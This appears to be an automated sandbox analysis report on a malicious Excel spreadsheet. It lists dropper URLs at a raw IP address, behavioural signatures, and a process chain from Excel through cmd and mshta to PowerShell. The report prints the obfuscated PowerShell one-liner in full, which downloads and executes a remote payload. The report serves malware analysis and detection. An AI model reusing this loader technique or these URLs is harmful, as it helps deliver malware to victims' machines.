Analysis

  • max time kernel
    119s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    27/01/2022, 15:17

General

  • Target
    tmphz83g30d.xls
  • Size 154KB
  • Sample220127-sn192afcg2
  • SHA256 b9709ab8cb147e8a2bbca48df9110ec75f152189f34df746e28d82847287ef4c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/qqqw/aaas/se.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmphz83g30d.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:380
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1948

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1292-55-0x000000002FC91000-0x000000002FC94000-memory.dmp

        memory/1292-56-0x0000000071B01000-0x0000000071B03000-memory.dmp

        memory/1292-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1292-58-0x0000000076641000-0x0000000076643000-memory.dmp

        memory/1292-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1948-63-0x0000000002240000-0x00000000024D0000-memory.dmp

        memory/1948-64-0x0000000002240000-0x00000000024D0000-memory.dmp